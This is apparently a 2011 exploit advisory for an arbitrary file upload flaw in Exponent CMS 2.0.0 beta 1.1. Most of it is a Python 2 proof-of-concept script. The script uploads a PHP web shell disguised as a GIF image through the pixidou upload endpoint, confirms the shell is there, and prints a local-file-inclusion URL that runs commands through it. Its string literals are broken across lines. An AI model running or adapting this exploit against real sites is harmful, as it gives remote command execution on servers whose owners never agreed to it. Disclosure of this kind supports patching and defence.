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Exponent 2.0.0 Beta 1.1 Shell Upload

Posted on 09 May 2011

# ------------------------------------------------------------------------
# Software................Exponent 2.0.0 beta 1.1
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://www.exponentcms.org/
# Discovery Date..........5/4/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# An arbitrary upload vulnerability in Exponent 2.0.0 beta 1.1 can be
# exploited to upload a PHP shell.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/exponent'
shell_path = path + '/framework/modules/pixidou/images/shell.gif'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/framework/modules/pixidou/upload.php HTTP/1.1
'
'Host: localhost
'
'Proxy-Connection: keep-alive
'
'User-Agent: x
'
'Content-Length: 160
'
'Cache-Control: max-age=0
'
'Origin: null
'
'Content-Type: multipart/form-data; boundary=----x
'
'Accept: text/html
'
'Accept-Encoding: gzip,deflate,sdch
'
'Accept-Language: en-US,en;q=0.8
'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
'
'
'
'------x
'
'Content-Disposition: form-data; name="uploadImage"; filename="shell.gif"
'
'Content-Type: image/gif
'
'
'
'<?php echo system($_GET["CMD"]); ?>
'
'------x--
'
'
')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

s.send('GET ' + shell_path + ' HTTP/1.1
'\n'Host: ' + host + '

')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else:
print 'shell located at http://' + host + shell_path
print '
exploit using lfi e.g. http://localhost/exponent/content_selector.php?controller=..%2f..%2fexponent%2fframework%2fmodules%2fpixidou%2fimages%2fshell.gif%00&section=&action=&CMD=calc'

upload_shell()

 

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